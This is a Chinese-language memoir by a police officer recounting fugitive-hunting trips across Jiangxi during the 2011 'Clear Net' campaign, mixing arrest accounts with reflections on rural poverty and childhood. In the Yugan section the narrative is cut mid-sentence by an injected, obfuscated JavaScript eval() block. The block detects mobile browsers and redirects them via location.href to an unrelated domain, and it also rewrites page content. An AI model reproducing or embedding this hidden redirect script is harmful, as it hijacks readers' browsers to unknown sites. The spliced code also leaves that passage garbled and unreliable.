我们当时属于后知后觉，因为平时工作很忙，虽然，省厅年初就召开了动员会议，并做了具体部署，最后也就停留在纸质方案上面。结果到了六月初，当省厅、晋江地区局第一次统计战果的时候，并公布的时候，才发现原部署是要在6月30日前完成第一阶段任务目标，还剩20来天，但是什么都没做，各项成绩都垫底，在通报上，晋江那一栏上的红底特别刺眼。此前，晋江每年的追逃工作都是泉州第一，全省前茅，而且一直是常抓不懈。但是，清网行动开始后，当时仅晋江上网的逃犯，就有一千多人，这个数目比当时的民警总数还要多，而且日常工作，每天还有新增的。因为基数特别大，为了完成之前制定的目标，需要抓获的人员数量特别大。但是晋江公安一直的作风都是争先夺优，目标永远都是第一。 晋江开始调整部署，将逃犯抓获的任务分解到每一个局领导身上，由他们完成，当时有十个“省督”的逃犯，十个局领导一人包干一个，采取这种模式，我们开始了赶超的工作旅程。我中队派驻的鞋都所，副局长兼所长领了一个任务，抓捕逃犯谭锦师归案，这个任务层层转包就交给了我，我不仅要抓这个省督逃犯，还有其他逃犯任务。 除了日常案件办理任务外，我开始梳理鞋都所之前上网的逃犯信息资料，鞋都所上网逃犯一百多人，当时总民警数60余人，压力也是非常大，也就是说在6月30日前，必须完成23人以上的撤网。 为了完成任务，我们开始批量查询资料，加班加点研判分析，之后，派出所派出所三组人分赴江西、重庆、四川、浙江、广东等地开展追捕工作。我因为是江西人，且对江西很多地区警方很熟悉，于是我就跟洪副队长一组，负责到江西追逃。当时为了完成任务，各单位几乎都派出了追逃工作组，晋江公安派出了几十个小组，两人或三人一组，到逃犯户籍地、可能藏身地开展工作，追踪去向，追踪蛛丝马迹，将其抓获；当时还出具了政策，还有就是轻罪的，可能会被判处三年以下有期徒刑的网上逃犯，只要投案自首就予以取保的政策，让他们到案，尽快撤网，可以完成案件程序，工作组的一个工作就是到户籍地找到在逃人员亲属，做劝逃犯投安自首的工作。 经过前期的准备，我和洪副队长，还有一名司机驾驶一辆东风本田crv，启程到江西，开始了漫漫追逃路。 第一站抚州金溪县。我们从晋江出发就开车直接赶到金溪县，之前有通过电话与当地警方联系，因为出发较晚，晚8时许才通过导航赶到一个离现场近40公里的某乡镇派出所。那个乡镇晚上比较安静，路上行人车辆都极少，旁边建筑物的灯光也是很稀松。由于晚上无法看清全貌。抵达派出所院子时，我们惊奇的发现，派出所黑灯瞎火，大门紧闭。我们敲门没有人应。没有办法我就打派出所所长电话，派出所所长其实没有任命，只是主持工作，这个派出所没有教导员，只有副所长和两名民警，加上两名协勤。所长当晚在县城，没有过来，他直接打电话给所里的民警，两名年轻民警就住在所里，值不值班都一样，乡镇青壮年大多外出务工，留下老少妇孺留守。因而该所警情极少，一年下来，没有几个警情需要处理，民警晚上吃完晚饭就回宿舍上网玩游戏去了。所里都是熟人，一般有事情会直接打电话，派出所电话，或者他们的手机，他们的电话不关机。 我们出门的时候，已经是中午，当时看到值班时还有四五个群众排队等待受理报案，这是鞋都所的常态，几个小时后，再看着这里的静谧，我突然有些不适应，感觉来到了另一个世界。我仰头看到星空，满天的繁星，天空如此的透彻，不像晋江，天空是橘红色的，亮亮的，永远看不到黑边，只有月亮才能进入我们的视野，这种透亮的星空，我已经很多年没有看到过了，让我想起来了小时候。夏季经常坐在门口的空地上，数着哪些最亮的星星。我也是留守儿童，十一岁，父母就不在身边，成长总是伴随着恐惧不安，这份不安全感，伴随我终生，我无法摆脱，有时会烦躁不安，唯有能看到星星的地方，会让我内心不安的心安静下来，所以我喜欢野外。 派出所的民警下楼接我们，两人看上去二十出头，脸上略显稚嫩，他们很热情的接待我们，可能已经很久没有人这么晚来造访了。我能理解年轻人守在这里的孤独，他们或许困惑、迷茫，急切离开，但是人民需要他们守在这里，总会有人会守在这里。 他们辖区逃犯不多，我们是第一批过来追逃的，通过我们前期的工作，这名在逃的嫌疑人应该是躲在家里。派出所民警，连夜带着我们驱车赶到嫌疑人家中，大约五公里外的地方，从主路拐进一条不宽的水泥路，就看到大约有十几栋房子的小村落，这些房子在夜空下留下一个影子，传统瓦房屋顶，在夜空下格外有韵味。这个村落在家的人不多，外围是水田，稻谷再过半个月就可以开始收割了，届时，会有很多外地务工的人员赶回来，参加收割，割完稻谷，他们再返回务工的地方，那个叫农忙季节，我参加工作以前都住在农村，对这个还是很了解，农忙的时候，由于机械使用程度不高，都是靠人力，亲戚朋友在一起相互帮忙，白天一起劳作，晚上要一起吃饭喝酒唠家常，很热闹。而现在仅看到两栋房子有灯，其中一栋就是嫌疑人家。我们的目的是直扑他家，在的话就抓，不在就跟家里人做工作，制造一种压力，并讲明政策，让嫌疑人主动投案自首。 跟我们预判的一样，嫌疑人在家，看到我们并不意外，说的第一句话就是知道政策，原计划过几天去投案自首的，这句话，2011年到2012年上半年我听到非常多次，每个被我们抓获的网逃都这么说。 将人带回派出所，拍照取指纹，询问笔录，将资料传回老家，通知家里来人办手续并移交嫌疑人。这次追捕任务，时间紧任务重，留给我们的时间不多了，必须抓紧时间，我们的行程计划是满满的，两周的时间，要去江西四分之三的地市，还要完成7个以上的到案任务，一刻也不能多停留。按照计划，我要在一周以后，才能回到老家，接受一个老乡投案自首。首战告捷，抓到第一名嫌疑人后，我们直接开车押人到县城，将人送进看守所后，找了家酒店休息，到房间时，已经是深夜，明天的目的地是临川区，目标是一名贩毒的在逃人员。 第二站 抚州临川区 早上起来，匆匆吃完早餐，我们出发，直接奔临川区。目标对象是一名年仅21岁的贩毒在逃嫌疑人。听洪副队介绍，嫌疑人因身患病在医院治疗期间，为了筹钱，帮人送毒品，这种跑腿的活，一次能赚五十、一百，就是传说中的马仔，对于没有工作，又患病在医院治疗的嫌疑人来说，简直就是天上掉馅饼的好事。要知道天上不可能掉馅饼，这么轻松赚钱的事，都是陷阱，要么就是违法犯罪。他第一次送毒品，就被我们抓获。这种案件属于零星贩卖毒品，按照刑法判罚，属于三年以下的案件，他因为患病，没有羁押，只是办理了监视居住，安置在安平市医院，并没有安排人看守，之后他身体有好转，就直接回到老家，我们也联系不上，最后将其登记上网追逃。经过前期工作，联系了当地的派出所，反应称他还在老家。知道他在家，为什么不抓他呢，我当时觉得很奇怪，心中就有一个疑问，这个疑问只能到了才能解了。 金溪县离临川并不远，从县城出发，沿国道316线，一路弯弯曲曲，欣赏了路两边的风光，晃悠一个半小时就到了在逃人员所在的乡镇。我们直接就到了派出所。这个派出所正好在316国道边，有一个院子，是一个独栋的4层的房子，派出所所长在二楼办公。我们跟他说明来意，他很热情的接待了我们，并且介绍了嫌疑人的情况，正好我们到了，就跟我们商量怎么撤网的事情，因为按照“清网行动”制定的各项考核，他们属于来源地怕派出所，江西的考核办法是户籍地被上网的人撤网率也要被考核。但是撤网需要去抓人，嫌疑人在家，他们已经知道了，但是无法抓人，嫌疑人也愿意投案自首，但是取保候审一般需要缴纳一定的取保金，嫌疑人现在身无分文，所以跟我们商量。 洪副队因为带队，他就打电话跟领导请示。窗外夏季的阵雨就下了一阵子，窗外飘来灰尘洒上水特有的味道，国道上车辆来往频繁。我望着窗外，陷入了沉思。我被派出所长打断，因为午饭时间，他带着我们去吃饭，当地的镇政府所在地，也在国道边不远，镇区的缘故，比金溪热闹很多，至少有很多人，因为离市区不远，开了很多饭店，生意红火，据说很多人开车从市区来这里吃饭，吃特色的牛蹄。 这是我第一吃牛蹄，在闽南呆了五六年，经常吃牛肉，但是没有见过牛蹄怎么吃的额，不过吃起来Q弹，还有些粘牙，感觉富含胶原蛋白。这是刑警出差最大的福利，可以尝到各地的特色美食。我根本不客气，连吃了好几个。吃到一半，来个几个人，说是嫌疑人的远方亲戚和当地的村干部，这顿饭估计是他们买单，菜很丰盛。他们开始介绍嫌疑人家世，父母双亡，与奶奶相依为命，住在村里，本来外出打工，但是身体患病，现在在家，无钱治疗，靠亲戚们接济生活，一时糊涂违法犯罪，肯定政府能够考虑实际情况，网开一面。网开一面我们没有办法，必须走法律程序，跟领导请示后，不用取保候审，直接监视居住在当地，但是法院开庭审理时，要及时到案，我们也会积极申请法院从轻处罚。 吃完饭，派出所民警带着我们开车到四公里外网逃人员的家，有一条水泥路一直通往嫌疑人家住的地方，路两边是连片的稻田，绿色中已经有些泛黄，要不了多久就可以收割了。成片的稻田如同一幅会动的风景画，非常漂亮。在水泥路的尽头，我们来到了一个小村落，这里的房屋大多是平房，房屋不多，大部分是青砖黑瓦，还有一些泥土墙的房子，土木结构。不过映入眼帘是一个土墙小房子，整面墙爬满了爬墙虎植物，一个巨大的石盘就斜放在旁边地上，没有被石盘压住的地方长满了野草，稍远一点是几处倒塌的房屋，有的屋顶已经没有了，剩一面墙，上面装了两扇木质窗户。有些房屋没有塌，但是看的出来，这里大部分的房子，已经很久没有人居住了，在快速城市化的进程的背景下，人们纷纷进城，改变角色。而农村人口大幅减少，留守在农村的人员已经不多了，跟之前金溪县情况差不多，很多行政村被撤并，小学校被撤销或被整合，农村留下大量空置的房屋。我们下车步行，隐约能看到一条泥土的印记向前延伸，能辨认出这是一条泥土路，由于长期没有人车走，小路上长满了野草，很快就要被草完全覆盖，看不出路的模样了。 我们来到嫌疑人的家中，嫌疑人和奶奶都在，这是一栋农村平常的房屋，平房，单层建筑，砖木结构，青砖墙面，用的石灰合成材料粘合，留着白线条，很古朴，大门是传统的石头做的门槛，跨过门槛，进入屋内，能感觉一股潮湿的气味扑面而来，房子有些年头了，中间是堂屋，两边各有一个房间。堂屋内摆了一张八仙桌，四张条凳，另外有几把竹制椅子，除此之外别无他物，地面是泥土的，夯实压平，有些泥土干燥以后特有的裂纹，有几处不平的小坑。堂屋内光线较差，感觉很阴凉，能看到几处滴水形成的小坑，这是瓦屋顶，年久失修留下特有的痕迹，小时候我家里也有。家中没有了劳动力，没有人能检修屋顶。用一个成语来形容在逃嫌疑人的家：家徒四壁。我看了一下房间，一张旧式木床已经挂上了蚊帐，一张桌子，木桌面可以看到木头的横纹，还有两个老式的木制衣柜，桐油漆面已经发黑。再无他物。 在逃嫌疑人看上去，很年轻，眼睛里都是渴望，脸看上去有些圆，脸色发白，走进仔细一看，他全身是浮肿的，脚上穿着拖鞋，没袜子，两只脚已经肿了，我的医学常识告诉我，这是内脏衰竭的一个表征，我不是医生，不知道他还能存活多久。他努力的朝我们微笑，拖动这自己的身体，招呼我们坐下，因为知道我们要来，老奶奶特意烧了开水，用碗端给我们，我端着这碗开水，感觉非常沉重，我喝了一口，一股熟悉的柴火的味道，这是柴火烧开的井水。 我的心情变得沉重起来，所有的疑问的答案都在眼前。我们将嫌疑人带上车，带到派出所，按照投案自首的程序，给在逃嫌疑人制作了询问笔录，并拍照，提取指纹，同时将所有的材料传回老家，开始办理监视居住手续，到下午下班时，所有的手续办好。在逃嫌疑人留在派出所，由其亲戚送回家，这件事后来我也不是我继续办理，不知道后事如何，也没去打听。我不知道他是否还活着，他们居住的那个村子，还有没有人，外面的稻田是否还是一副风景画。办完了这起案件，我们没有片刻的停留，直奔去下一个站，东乡。 第三站：抚州东乡县 从临川区去东乡县，只需一个小时路程，我们赶到时已经天黑，晚餐是在快到县城的路边一家餐厅吃的羊肉。吃完后到县城，找了家酒店入住。房间还不错，洗完澡我躺在床上，想着白天的事情，让我有些失眠。我脑海里是有关小时候的记忆，这里的房子跟我老家几乎一样，不一样的是，这里地处平原，我住在湖边丘陵地带，我老家农村也是人去屋空，面临同样的问题。我小时候的记忆有些苦涩，我家的房子也塌过，我们家的房子是一面青砖，三面土砖的砖木结构，青瓦房，父母在外省务工，我在县城读书，放暑假的时候，我回家一看，整个房子剩下一半，因为长时间下雨，瓦破了，漏水，把土砖墙淋湿了，最后失去支撑力，塌了。当我发现房子塌了，无家可归时，我的内心的绝望。好在一切都过去了。 闭上眼睛，脑海里飘过小时候的点点滴滴。对于对贫穷的理解，我有切身的体会，以至于现在的我还是很小气，有时会闹出笑话，用钱很犹豫。在回忆中迷迷糊糊的睡着，半夜突然惊醒，我不知道自己身处何处，全身汗湿，感觉心跳加速，内心很慌乱，看看周围，努力的回忆发生了什么，确认自己在哪里。这种状态，几年后当我回到九江工作时，我几乎持续了一年。这种认知失常时常伴随着我，让我无所适从，具体的表现就是睡醒不知道自己在哪里，很无助。 第二天吃完早餐，我把随身携带的有关东乡逃犯的数据整理了一下，然后到了东乡的刑侦大队，讲明来意。我们的目的很明确：晋江上网的东乡籍的几个网上逃犯，做一些前期工作，有条件就准备动手抓，没有条件线索的，看看能不能从亲属身上找到线索，还有就是找到亲属，动员投案自首。负责这块工作的是一个副大队长，在城区中队办公，根据指引，最后我们来到了刑侦大队城区一中队的驻地，中队就在老城区，一栋两层的小楼，红砖外墙，看上去有些年头了。办公区在楼上，我们上楼，这个办公室都是厚厚的灰尘，桌面上堆满杂物，房间的角落里很黑，桌面上落着各种纸和法律文书，烟头随处可见，地面和面面窗台等位置都是厚厚的灰尘。 看到这个场景，我不免有些失望。 因为工作原因，我去过很多地方的公安机关，观察一个单位的内务是我个人判断单位好坏的重要参考标准，一般情况下，一个单位如果内务很差，业务也不会好到哪里去。进到这个中队办公室，脏、乱、差，房间里还有从卫生间飘来很重的异味，卫生间就更脏了，无法直视。你觉得这个地方已经废弃很久了。看到这种场景，首先能想到的是这个单位的人很懒散，都不讲究，毫无责任心。自己每天要待的地方如同垃圾堆，他们的工作也不会好到哪里去，没有办法放心把重要的工作交给他们。这让我想起了当年的南康派出所，我第一次到南康所办公室的时候。 尽管如此，我们还是得继续在这里工作，还得依靠他们把几个逃犯的工作做完。但是我已经没有什么期待了，分管城区中队的副大队和一名中队长在办公室里接待了我们，我们把掌握的人员情况作了个介绍。这名副大队长是一名老刑侦，他就一直在吐槽，清网行动的各种不好，怎么完成工作任务种种。我们就开始研究要追捕的几名逃犯的情况，研究一半，就去公安局对面一家小饭馆吃饭。席间吃饭时，碰见了他们的熟人，已经开始预约下午打麻将事宜了。我曾在江西工作两年，作为江西人，我对这个已经习以为常了。也就是说，下午开展工作基本上就是黄了。让我意外的是，下午他们安排了一个民警配合我们工作。 我们调取了相关的话单，整理了逃犯的关系人联系人亲戚等。一边计划怎么落地抓人，一边计划如何劝逃，我们把联系方式留下，等当地公安机关给我们答复。其实，这些在逃人员已经在四处活动，托人找到当地公安，以投案自首为由，询问能否取保候审，因为关系错综复杂，当地警方并没有要抓捕他们归案的意思，他们投案只不过是时间问题。把能做的工作做完后，我们就直接去了余干县。 第四站 上饶市余干县 东乡与余干隔壁县，两个县城相距约70公里，我们开车一个半小时就达到了余干。找地方住宿，然后吃晚饭。吃完就在酒店房间研究第二天如何开展工作。 余干县是有名的诈骗犯罪多发来源地，作案方式是重金求子，需要男女搭配的一个活。被公安部一直列为红色地区。不过我们要去余干追捕的是盗窃犯罪嫌疑人，其实余干也有很多人从事入室盗窃的犯罪活动，名气没有宜春和都昌的响亮，人数还是众多的，他们在全国各地四处流窜作案。 第二天，我们到了余干县公安局，公安局的办公楼盖的很气派，传言是中央首长照顾的原因，经费保障很好。办公楼干净整洁，给人感觉舒服多，楼很大，人很少，略显冷清。在刑侦大队，当天的值班领导安排人配合我们的工作。我们没有抓捕的计划，因为嫌疑人不在家，只是跟当地警方沟通，如果回来，有机会可以抓捕。我们这次到余干，主要的工作是做劝投工作为主。同时想要掌握，逃犯主要关系人亲属的联系方式。 配合我们的民警就帮我们联系了当地派出所，然后我们驾车前往派出所。在路上，民警跟我们介绍余干的一些情况：在地理位置上看，余干离南昌更近，离上饶非常远，上饶市局对其影响较小，历史上曾划归南昌管理，余干民风彪悍，如果贸然到余干乡镇去抓捕，很难抓到人，当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14833463|158734||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地人首先会通风报信，陌生人到了都会通知，如果有外地人过去就特别警觉，这是因为当地有大量人在全国从事违法犯罪活动，为了逃避法律制裁，而相互帮忙，对抗公安机关的抓捕。当地公安机关曾去村里抓人，出现过抓到人，被堵住拦截，人又被抢回去的情况，后来就干脆不怎么去抓了，除非有特别的案件，就组织大量的警力过去抓。形成了一种恶性循环。 嫌疑人户籍所在地，在余干去往南昌的路边上，有一个高速出口，交通极为便利，因为地处鄱阳湖边，景色优美。从县城开车，半个小时就到了，当地派出所的所长在办公室等我们，我们说明了来意，所长介绍说，如果去抓捕，他就不带我们去了，只是做劝投工作，可以带我们去，不过逃犯家人亲戚大多数都不在，只能跟村干部见面。于是我们就开车到了两公里外的村里，村子建设得非常漂亮，干净整洁，略带徽派建筑的，白墙黑瓦，看得出来，村里盖了很多新楼，而且很整齐，明显做过规划。我们直接去了村支书的家中，在他们一楼见到他，他家也是自建楼，四层，一层是两间店面的设计，我们去的时候，很热闹，有很多人在。我们自我介绍一下，说明来意，跟村书记聊了一会，村书记很明显有戒心，当我们询问亲属电话时，都表现出很为难的样子，我们讲明了政策后，留下联系方式，然后返回派出所。之后直接返回县城。 我们失望的回到县城，这是我意料中的事情，追逃没那么容易，我们策略是，抓捕和劝投两条路走，追求的是快。我们的任务重，时间紧，每天早晚领导都要来电话询问工作情况，并通报整个的工作进度，哪个单位完成了多少，其他组的情况等等。早上七点准时叫我们起床，晚上八点来电总结，我感觉洪副队已经有些血压高了，每天脸都涨的通红。 这次电话又响了，我感觉洪副队很怕手机铃声，好在这次是好消息，东乡的逃犯要自首，当地打电话来谈取保候审条件，政策是现场办理。于是我们开始转场，回东乡县。 我们把车牌用迷彩布包着，一路超速行驶，一个小时不到就赶到了东乡县城，进程的时候，路灯已经亮起来了，高压钠灯特有的桔红色，让天空变成桔红色，东乡的县城不大，给我的感觉就是横竖两条街，网上路上车辆行人并不是很多，我们还是住老地方，办好入住以后，吃了顿当地的大排档，然后回房间睡觉。连日的马不停蹄，让我已经有些疲劳，几乎是沾枕头就睡着了，而且当晚睡得很好。 第二天一早就被电话叫醒，洪福队睡不踏实，叫我起床吃早餐，早点出发办事。吃完早餐，我们急匆匆赶到东乡刑侦大队，逃犯还没来，我们在他们办公室耐心的等，多次电话催促以后，他才过来。原来逃犯是东乡公安系统一个民警的亲戚，了解好政策后，才过来投案。我们做了两份讯问笔录，一份自首的，一份强制措施的，将扫描笔录传回老家，单位的同事，开始办理取保候审手续。我就给逃犯采集刑嫌信息，拍照，那种带身高背景的照片，两张正面一张侧面，采集指纹信息，掌纹信息等等。两个小时后，办完手续，我在直接使用打印机将法律文书打印，拿给在逃犯签字，让他将保证金转帐到晋江，由那边直接交到专用账户。所有的办妥，就等着撤销网上在逃信息。我们提醒逃犯，不要更换手机号，随传随到。最后当地还请我们吃午饭，席间想要逃犯跟我们坐一桌吃饭，被我友好的拒绝了，上一次嫌疑人跟我一起吃饭，是带着手铐押送路上，没有办法，跟没带手铐的嫌疑人一起吃饭，我无法接受，觉得不吉利。 我很不理解这种做法，我的习惯就是直接抓人，抓到就送上法庭。这次却是为完成任务，为了提高撤网的效率，我们的行动事实证明，比起研判抓捕，采取劝对方投案自首是比较高效的，我们几天就撤网了多个逃犯，但是我内心是不服气，有本事继续跑，像个老鼠一样藏在人间，别让我抓住。现在到好，为了完成撤网任务，完全不管不顾的，什么样的坏人，只要肯投案，都可以取保候审，不管他有多坏，是不是累犯。而且还要去做逃犯思想工作，跟求对方投案自首一样，低三下四的，这些原本像老鼠一样东躲西藏的逃犯，现在却是趾高气扬的，我接受不了这样的角色反转。我只会审讯，研判抓人，不懂得做思想工作。 我的目标还是继续研判抓人，这些榜上有名的坏人，我绝不放过。在外出追逃工作期间，我听说追逃专家运哥也出门追逃了，他原本坐镇大本营，为我们提供各种数据支援服务。运哥是传奇人物，河北人，年长我十岁，早年毕业于中国刑警学院，科班出身，毕业后一直在晋江刑侦大队，我到刑侦大队工作时，他已经专司追逃和协助抓捕工作多年，多年的工作积累研究，他对研判逃犯很有一套心得，是全国有名的追逃专家。我在基层中队，有外地刑侦来抓人或者工作时，他就领着人来，我们就配合他们工作，抓捕问个笔录什么的，由此结识。清网行动时，他因工作业绩突出，荣立个人一等功，还参加先进事迹报告团，到各地开报告会。 当时大队还有一名很有名的追逃专家，老刑警“火灶”，他当时去了重庆，他曾在重庆驻点工作（因晋江外来务工人员，重庆比例最高，人数也是最多，仅开县一个县，在晋江活动的就有七万人，相当于当地两三个乡镇的人口，为了工作需要，就派人长期蹲点工作），由于对重庆很熟悉，于是安排他去重庆专项追逃，主要时负责协调，正好我的负责研判的省督逃犯谭锦师就是重庆人，我请“火灶”帮忙把谭的家人的情况摸一下。江西的追逃变成了到处劝投，从我内心讲，我是不太愿意的，我喜欢的就是直接抓人。但是工作就是这样，有多种方式，一切以工作需要为主，当时间紧任务重的时候，这种措施很有必要，事实上在很多时候，我们都以各种政策来鼓励犯罪嫌疑人投案自首。在东乡办完办完事情，我们启程前往九江，我最熟悉的地方，我们还有多个九江籍的逃犯。重庆方面一直没有给我信息，因为在出差也没有办法问太多，只能回去以后再研究了。 第五站 九江县 周六早上从东乡启程，去九江。从九江县（2016年更名为柴桑区）下高速，因为逃犯户籍所在地在乡镇，有两名在两个不同乡镇，案件比较简单，属于可以符合办理取保候审条件的。我们打算碰碰运气，直接上门做劝投工作，下高速后，直接去了下面的派出所，结果第一站，我们跟着路标去路边的派出所，结果到了路边的森林分局派出所，因为周六，派出所没有人上班，一把大锁，我们等了很久，发现没人来，打了一个留在门上的值班电话，电话呼叫转移到了一个手机上对方告诉我们，他们是森林公安，不管当地业务，当地还有行政派出所，要我们去那边，我这才反应过来，赶紧去往行政派出所，当天值班就两个民警，他们也觉得奇怪，早上已经有一波晋江的警察来过了，我一打听，原来交警也派了一队人过来追逃。该做的工作做完，我们又赶去另一个乡镇派出所，派出所也是因为清网行动而加班加点。但是只是在派出所坐着发牢骚而已，我们说明来意，要去逃犯家里看看，做做工作，得到的答复是没有人在家。会帮我们做工作，如果要投案就通知我们。没有什么效果。匆匆忙忙，我们就就到下一站瑞昌。 第六站 九江瑞昌 瑞昌有个故意伤害的在逃犯，时年年仅20岁，半年前打架致人轻伤后，负案在逃，通过研判，嫌疑人应该躲在老家，但是一直没有办法确定位置，这次我们计划直接去做动员投案工作，这个比较容易。我联系瑞昌公安局的哥们，他们帮我找到了逃犯的父亲，我们决定赶紧过去。他们住在赛湖农场，我们直接去了他们家，在路边与瑞昌的哥们会合，直接就到了逃犯父亲住处，见到了逃犯父亲本人，坐着跟他聊一个多小时，再三确认可以取保候审，逃犯的父亲很高兴，同意做工作，让逃犯第二天回来投案自首。 晚上，瑞昌公安局的哥们非要请吃饭，吃饭喝酒，回酒店就比较晚睡。早上我被电话吵醒，嫌疑人已经到了户籍地派出所横港派出所投案。要我们赶紧过去办手续，还没睡醒呢，我拿着车钥匙直接就奔横港去，因为路上修路，一个小时我们才赶到横港派出所，做笔录，办手续，照相、取指纹掌纹，弄了很久。在横港吃完中午饭，办好取保手续，下午才回到市区。工作还算顺利，又办理了一个。 本想周末可以好好休息一天的，可惜就这样匆忙过去了。第二天，周一我们继续到瑞昌公安局刑侦大队，还有两个命案逃犯的工作需要做，这事我喜欢，毕竟又回到专业，侦查研判抓人。其中一名逃犯，由于历史原因，逃犯身份信息在当地户籍人口库已经没有了，都是历史遗留问题，早年户口由乡镇管理，后来才移交公安机关，但是喝多资料不完整，于是从新整理，我们担心的事情，也出现了，逃犯通过各种手段利用漏洞将自己身份洗白，换一个身份继续在社会上活动，其中一名逃犯就有这个嫌疑，原有的户籍资料已经被注销，当地的户籍确实管理混乱，09年修水追捕命案逃犯时就发现了，男人的身份信息是一张女人的照片，这事明显的工作不认真负责。有些逃犯在公安内部人士的帮助下，利用漏洞就这样把身份洗白了。我并没有放弃，在户籍地通过检索分析，还有瑞昌刑侦大队提供的线索，我们又找到一名照片上跟逃犯很像，且是同姓同村的人的资料，通过研判下去，这名有嫌疑的人，已经举家到了上海，一直在上海活动，很少回瑞昌。我们将情况收集汇总报告给局里，尽可能多的收集该名嫌疑对象家属信息资料资料。这名逃犯后来被运哥带的同事在上海抓回来，经过确认，就是我们发现的那名有嫌疑的男子，只不过身份被洗白了，我们的工作总算没有白费。在全国的清网行动中，有很多类似的事情发生，逃犯为了洗白身份，通过某些公安内部的腐败分子，重新办理了身份，或者套用其他的身份，通过户口迁移，使用自己的照片和指纹，借用他人的身份，清网行动后，全国各地都有违法的户籍民警被抓，成为阶下囚。 瑞昌的第二名命案逃犯，瑞昌刑侦大队根据线索曾多次组织抓捕，但是都未抓到，最后的一次离他就差一步，但是被其警觉到，在抓捕的人达到前五分钟逃脱，现在全家都失踪了，没有任何讯息，无法研究其通讯记录了，这个逃犯的工作，只能做到这里了，留着以后做了。 在瑞昌工作两天半，收获还不错，根据计划，我们准备再次去上饶开展工作，还有一名逃犯有线索。 下一站：上饶城区 19.第 19 章 结束瑞昌的工作，匆忙吃完晚饭，我们就直接上高速，目的地上饶市区，一路上开了四个小时，晚上快12点的时候，终于赶到，通过携程找到一家四星级酒店，价格很实惠，位置也不错，在市区，主要是方便去上饶市局开展工作。酒店开好房间，大家觉得有些饿了，就在路上寻找吃的，没有找到我想要的排挡摊，最后发现一家永和豆浆，吃过宵夜，就回酒店休息。 上饶市公安局刑侦支队，没有跟市公安局一起办公，我们问路找了很久，才找到。清网行动已经如火如荼了，上饶刑侦支队也派了很多人到外地出差追捕，已经没有人可以配合我们工作，后来就把我们掌握的资料发给了开发区分局，让他们配合抓捕，我们就去了开发区分局，全称是上饶市公安局经济开发区公安分局，是个新组建的分局，人数很少，在城区边上。 我们前期研判的逃犯资料很完整，经过工作，很快发现了嫌疑人的踪迹，在一处工业区活动。通过工作，直接去工厂，在工厂车间将逃犯抓获。逃犯是一名女性，时年三十五岁。在鞋都镇务工期间，因家庭琐事跟小姑子吵架，民间俗称撕逼，后两人动嘴升级为动手，过程中，两人各有损伤，后小姑子受伤较重，报案处理，去法医鉴定，法医学结论是轻伤。法医学鉴定伤害等级定轻伤以上，就是触犯了刑法，涉嫌故意伤害罪，要负刑事责任的。事后嫌疑人离开晋江，被列为网上在逃人员。 办好手续，将人羁押在当地看守所，然后开始办理移交手续，以及外出十天了，洪副队急着回家，于是决定将逃犯押送回晋江。清网行动第一次出差，差不多就结束了。第二天我们办理好移交手续，已经是上午11时许，开车开始回城。当时上饶新修一条高速公路，已经修通，但是没有通车，我们就通过当地民警，开了一个口子，直接上了这条准高速公路，一路开到省界附近，抵达上饶市的武夷山镇，计划从这里要翻过武夷山脉进入福建（现在高速通车，直接过隧道就好了，不用翻山越岭的），抵达东南省的武夷山市，这一站是我开车，出发时天就是阴天，从武夷山镇上山，一路山路蜿蜒，开了大约半个小时山路，突然山上其大雾，能见度十米左右，只能放慢速度，一路小心翼翼，沿着省道走，因为大雾，过了山上的省界我们都不清楚，直接半小时后，开始下山才发现已经到了福建境内。下山没几分钟，雾就散了。江西是山的北边，山坡度很陡，湿冷空气凝结，容易形成浓雾，而福建这侧是山的南面，坡度缓，风温和，雾容易被吹散，果不其然，到了山下发现武夷山市是个大晴天。太阳高高挂。 我们全是男性，押送女性犯罪嫌疑人，非常头痛。最担心是嫌疑人要上厕所，一路上我们都在做犯罪嫌疑人的思想工作，不想出岔子，其实这是高风险的活。 中午14时时许，在武夷山市市区路边沙县小吃店，我吃了两碗鸡腿面，算是午餐，之后上高速一路往东南方向。天黑前，抵达单位，将人员移交等候已久的同事。就回家了。清网行动第一次出差不惊不险，顺利结束。 回来，抓紧时间整理晚上的案件的卷宗，同时继续研判手上的逃犯信息，还要参与单位值班。没几天辖区发生一起盗窃保险柜的案件，经过前期侦查，确认嫌疑人是重庆人，已经回到重庆，于是赶赴重庆追捕，同时联系重庆的工作组，获取我要的逃犯信息。重庆工作一周，带回两名盗窃嫌疑人，追回部分赃物。案件继续在我手上办理。 清网行动，打破了我所有的正常工作秩序，工作量变得巨大，每天都要看行动进度。主攻方向是江西籍的逃犯，通过研究，我又发现了几名的线索。事不宜迟，于是领导安排我带队前往江西，继续追捕。 这次领导派个我一辆3.0的别克GL8，单位平时出差就两台车，一台这个，一台CRV，都派出去以后，领导就会借车出差。别克这个车舒适性好了很多，有陆上公务舱之称，不过耗油量也是刚刚的，跟飞机真有的一拼。 清网行动第二次出差，目的地：江西吉安市。 在吉安市有多个逃犯，分布在各个县里，其中有两个逃犯，都是重犯，就算投案也不太可能取保，我手上的线索确认，两人都在老家，我的目标是先把这两个人抓了，再去其他逃犯家里做劝投工作。当天晚上我们赶到吉安市，在市区过夜，吃香的喝辣的，去到县里就再没机会了，这次我带了两名民警出门，他们来的时间较短，属于三年内的新警，在我这个老鸟的带领下，准备大干一场了。这趟出门，领导没天天打电话询问情况，上一趟出差我们已经超额完成任务，可以松一口气，这次是锦上添花的工作，压力也没有那么大。 第二天吃完早餐，就退房出门，上午10时抵达第一个县城，永丰县城，来之前，就联系了刑侦大队的邓大队长，他已经将我们要做的工作提前做了，我们到了以后，邓大已经安排好所有的事情，直接动手去抓捕了。 第二天，首战告捷，嫌疑人憋不住在网吧上网，发现踪迹后，直接被捕获。 第三天，同案犯听说此事后，主动投案，两枚“仙桃”到手。 第四天，去永新、峡江两县其他逃犯，做了一下家属工作，宣讲了一下政策，领导来电让我们押人打道回复。 第五天，押着两名逃犯，凯旋而归。 清网行动第二次专项出差，简洁高效，战果不错。领导破例让我们休息一天，再回去上班。 